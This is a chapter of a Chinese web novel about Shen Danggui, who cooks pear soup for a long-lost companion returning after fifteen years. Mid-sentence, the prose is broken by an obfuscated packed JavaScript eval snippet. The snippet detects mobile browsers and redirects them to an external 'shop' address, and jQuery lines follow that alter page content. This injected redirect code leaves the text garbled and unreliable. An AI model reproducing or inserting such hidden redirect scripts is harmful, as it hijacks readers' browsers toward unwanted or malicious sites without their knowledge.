第六章故人来
仙舟过去的第三天傍晚，我正在灶房里熬汤。
那天下午落了点小雨，淅淅沥沥的，到了傍晚才停。雨后的空气潮潮的，带着泥土的腥气和草木的清香。院子里那棵老槐树的叶子被雨水洗得绿油油的，在夕阳下泛着光。
我灶房里的汤炖了快两个时辰了。
砂锅坐在炉子上，咕嘟咕嘟冒着热气。锅盖被蒸汽顶得一跳一跳的，每一次跳动都喷出一股白气，带着当归和黄芪的香味，飘得满屋子都是。
今天是立秋。
按老规矩，立秋要补一补。我特意多放了几片黄芪，又加了一把枸杞，炖了一锅黄芪当归排骨汤。汤色已经炖成了金黄色，油花浮在上面，亮晶晶的，看着就馋人。
我拿勺子撇了撇浮沫，舀了一点汤，吹了吹，尝了尝咸淡。
还行。就是盐少了一点点，再加一撮就好。
我正伸手去拿盐罐子，忽然听见有人敲门。
笃笃笃。
三下，轻轻的。
我愣了一下。
这个时候还有谁来？天都快黑了，镇上的人这个点都在家吃饭呢。再说，我这铺子晚上一般不营业，老主顾都知道。
我把勺子一搁，在围裙上擦了擦手，穿过店面，走去开门。
门是两扇对开的旧木板门，年头久了，门轴有些涩，推开的时候会发出吱呀一声响。我伸手拉开右边那扇，吱呀一声，门开了。
然后我愣住了。
门口站着个年轻人。
他穿着寻常的青布衣裳，洗得干干净净的，布料普通得很，镇上随便哪个后生都穿得起。头发简单地束着，用一根木簪别住，露出光洁的额头。脸上干干净净的，没有什么表情，就那么安安静静地站在夕阳里。
可那张脸，我再熟悉不过。
十五年了，他好像一点没变。
眉眼还是那个眉眼。剑眉，眉峰很利，像是用刀裁出来的。鼻梁挺直，嘴唇抿着，嘴角微微往下压。眼睛还是那么黑，那么深，像两口深不见底的井。
又好像变了很多。
眉眼还是那个眉眼，可整个人站在那里，自有一股说不出的气度。他就那么站着，什么也没做，什么也没说，可你就是觉得他不一样了。像深潭里的水，看着平静，底下不知道有多深。像山间的古松，看着沉默，却自有一种不可撼动的力量。
夕阳从他背后照过来，给他整个人都镀上了一层金红色的光。他的影子被拉得很长，一直延伸到街对面的墙根底下。
“沈当归。”他开口。
声音有些哑，像是很久没说过话的人。可那声音里，有我听得出的一点东西——是十五年前那个发着烧、说胡话的半大孩子的声音。
“我回来了。”
我站在门槛里，半天没动。
脑子里乱哄哄的，像有一百只蜜蜂在飞。想说什么，可嘴巴张开了，又不知道说什么好。想往前走一步，可脚底下像生了根，动不了。
最后我低头看了看自己。
围裙上沾着灶灰，黑一块白一块的。手上还有择菜留下的泥，指甲缝里都是。脚上穿着那双破布鞋，鞋面上还溅了几滴油渍。
狼狈得很。
可不知怎么的，我看着自己这副模样，忽然有点想笑。
“你……”我终于挤出声音，哑得不像我自己，“你吃了没？”
他愣了一下。
那双深潭一样的眼睛里，有什么东西动了一下。
然后他的眼眶红了。
不是那种一下子涌出来的红，是慢慢从眼底漫上来的，像墨滴进水里，一点一点洇开。他的睫毛颤了颤，嘴唇动了动，像是想说什么，可又说不出来。
就那么看着我。
看了很久。
久到夕阳又往下落了一点，久到影子又拉长了一点，久到远处传来谁家孩子的笑声，又飘远了。
“没有。”他说，声音比刚才更哑了，哑得像是从嗓子眼里硬挤出来的，“我想喝雪梨汤。”
雪梨汤。
我十五年前给他炖过的那一碗。
那天晚上，他刚醒过来没多久，发着烧，烧得迷迷糊糊的。我给他喂药，他喝不进去，全吐了。我就炖了一碗雪梨汤，晾温了，一点一点喂给他。他喝了小半碗，又睡过去。第二天早上醒来，烧退了。
后来他问过我，那天晚上给他喝的是什么。我说雪梨汤，润肺止咳的。他点点头，没再说什么。
从那以后，每次他身子不舒服，我就会给他炖一碗雪梨汤。
他走的那天晚上，我没来得及给他炖。
我站在门口，看着他。
夕阳的余晖落在他脸上，把他眉眼间的神色照得清清楚楚。那里面有太多东西——有想念，有愧疚，有害怕，有期待。像一个走了很远路的人，终于回到家门口，却不敢敲门。
我往旁边让了让。
“进来吧。”
他迈进门槛。
那一步迈得很慢，像是怕惊醒什么似的。脚落地的时候，他甚至低头看了一眼，好像要确认自己真的踩在这片地上了。
我关上门，跟在他后面，穿过店面，进了后院。
院子里，老槐树的叶子还在滴水。雨后的空气湿漉漉的，混着泥土和青草的气味。井台边的青苔被雨水洗得碧绿碧绿的，像一块上好的绒毯。石桌石凳上还有水迹，亮晶晶的，映着天边最后一点光。
他站在院子中央，抬头看着那棵老槐树。
他就那么仰着脖子，一动不动地看着。看着树干上那道十五年前的裂痕——那道裂痕我用泥巴糊过，又长出了新皮，现在只剩下一条浅浅的疤。看着那些伸得老远的枝丫，有的已经枯了，有的还在发新芽。看着那些被雨水洗过的叶子，绿得发亮，在风中轻轻摇晃。
他看了很久很久。
久到我以为他要一直站到天黑。
然后他低下头，看着井台，看着石桌，看着那几间屋子的门，看着晾衣绳——晾衣绳上还挂着我今天洗的衣裳，在风里飘来飘去。
他的目光扫过每一寸地方，扫得很慢，很仔细。
最后，他转过头，看向我。
“还是那样。”他说。
我点点头：“还是那样。”
他嘴角动了动。
那是很轻微的一下，不仔细看都看不出来。但我看见了。
十五年前，他也这样动过一回。
“你先坐着，”我说，“我去炖汤。”
我转身进了灶房。
灶膛里的火还没熄，我添了几根柴，把火烧旺。然后从筐里拿了两个雪梨，洗干净，削皮，去核，切成小块。又从柜子里翻出老姜，切了几片。
砂锅里的汤已经炖好了，我把砂锅端下来，换了个小锅，把雪梨和姜片放进去，加上水，放了几块冰糖，盖上盖子，放到炉子上。
火苗舔着锅底，发出呼呼的声响。
我蹲在灶前，看着火，听着锅里的水慢慢烧开。
身后有脚步声。
我没回头。
脚步声停在我身后，离我不远不近的地方。
“沈当归。”他开口。
“嗯？”
“你……没怎么变。”
我笑了一声：“老了，白头发都有了。”
他沉默了一会儿。
“我看见了。”他说。
我转过头看他。
灶膛里的火光映在他脸上，一跳一跳的。他的眼睛亮亮的，像是有水光在里头。
“不多，”他说，“就几根。”
我转回去继续看火：“几根也是老了。”
他没说话。
锅里的水开了，咕嘟咕嘟冒着泡。我用勺子搅了搅，把火调小一点，慢慢炖。
他就那么站在我身后，也不说话，就那么站着。
灶房里只有锅里的咕嘟声，和柴火燃烧的噼啪声。
过了好一会儿，我忽然问：“你这些年，过得好不好？”
身后沉默了很久。
久到我以为他不会回答了。
然后他开口，声音低低的：“不好。”
我手上的动作顿了顿。
我以为他会说修炼有多苦，被追杀有多难，在宗门里站稳脚跟有多不容易。我以为他会讲那些惊心动魄的故事，讲那些我听都没听过的奇遇。
可他没有。
他只是说：“没有雪梨汤喝。”
我愣了一下。
然后不知道怎么回事，眼眶忽然有点酸。
我没回头，只是用勺子继续搅着锅里的汤。
“这回管够。”我说。
雪梨汤炖了小半个时辰，炖到梨肉都软了，汤色变得清亮亮的，飘着淡淡的甜香。
我拿碗盛了一碗，端着走出灶房。
他还站在院子里，站在那棵老槐树下。
天已经黑了。月亮升起来，又大又圆，把整个院子照得亮堂堂的。月光落在他身上，把他整个人都笼在一层银白色的光晕里。
我端着碗走到石桌边，把碗放在桌上。
“过来喝。”
他走过来，在石凳上坐下。
那个石凳，是他以前常坐的那个。靠左边一点，对着灶房的门。他那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357914|199708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候总坐在那儿，看我进进出出，或者自己发呆。
他坐下来，双手捧起碗。
碗里的汤还是温热的，飘着丝丝缕缕的白气。几块雪梨浮在汤里，半透明的，像玉雕的。几片姜黄黄的，在汤里沉沉浮浮。
他低头看着那碗汤，看了好一会儿。
然后他端起碗，喝了一口。
就那么一口。
然后他的眼泪就掉下来了。
没有声音，就是眼泪一颗一颗往下掉，砸在碗里，砸在桌上，砸在他自己的手背上。他就那么端着碗，低着头，让眼泪一直掉。
我没劝，也不知道怎么劝。
只是在他对面坐下，安安静静地坐着。
月亮从槐树梢头慢慢升起来，又慢慢往西边挪。风吹过来，带着初秋的凉意，老槐树的叶子哗哗地响。
他就那么端着那碗汤，哭了很久。
久到碗里的汤都快凉了。
然后他抬起头，看着我。
月光底下，他的眼睛红红的，湿湿的，亮亮的。
“沈当归，”他开口，声音哑得厉害，“我等了十五年。”
我说：“我知道。”
“我找过你。”
“我知道。”
“我找不到。”
“我知道。”
他看着我，嘴唇动了动，像是想说什么。
我等了一会儿，他没说出来。
我就替他说了：“你以为我死了。”
他点点头。
我笑了笑：“我没死。一直在这儿。”
他低下头，看着碗里剩下的半碗汤。
“那年我回来过。”他说。
我愣了一下。
“什么时候？”
“第七年。”他说，“我从北边回来，绕道来这里。铺子还在，但门锁着。我等了三天，你没回来。”
我张了张嘴，想说什么，又咽了回去。
第七年。
那一年，我确实不在。
那一年，我娘那边的亲戚出了事，我去了一趟邻县，待了两个多月。
就那么错过了。
“后来我又来过一回。”他说，“第十一年。铺子开着，但我没敢进去。”
“为什么？”
他沉默了一会儿。
“我看见你了。”他说，“你在院子里晒药材，跟一个买药的人说话。你……笑了。”
我不明白：“那你怎么不进来？”
他抬起头看我。
月光底下，他的眼睛里有很复杂的神色。
“我怕。”他说，“怕你忘了我。怕你有了新的人。怕我进来之后，你不知道该怎么对我。”
我听着，没说话。
他低下头，继续说：“后来我就想，等你老了，不在了，我再回来。回来看看这个院子，看看这棵老槐树，看看那间灶房。然后我就走。”
“那现在呢？”我问，“怎么又进来了？”
他抬起头，看着我。
那双眼睛里的水光还在闪。
“仙舟飞过的时候，”他说，“我看见你了。”
“看见我了？”
“嗯。”他说，“你站在铺子门口，仰着头看。看了一会儿，就低下头，去收你的药材了。”
我想起那天的事。
仙舟飞过的时候，我确实站在门口看了。看了几眼，就低头收药材去了。
“你看见我了？”我问。
他点点头。
“那么高，那么远，你能看见？”
他没回答，只是说：“我看见你了。你在收枸杞，一捧一捧往袋子里装。动作还是那样，跟以前一样。”
我听着，不知道该说什么。
“那一刻我就想，”他说，“我得下来。不管你还记不记得我，不管你怎么对我，我得下来。哪怕就看一眼，跟你说句话，喝一碗你炖的汤。”
他端起碗，把剩下的汤喝完了。
放下碗，他看着我。
“沈当归，”他说，“我回来了。”
月光底下，他就那么看着我。
十五年了。
我看着他，忽然想起他刚来那会儿，瘦得皮包骨头，发着烧，说胡话。想起他蹲在我旁边，问这叫什么、那叫什么。想起他站在院子里，握着竹竿，挡在我面前。想起他化作流光飞走之前，回头看我的那一眼。
我张了张嘴，想说点什么。
可话到嘴边，又咽回去了。
最后我只是伸出手，把他面前的空碗拿过来。
“汤还有，”我说，“再给你盛一碗。”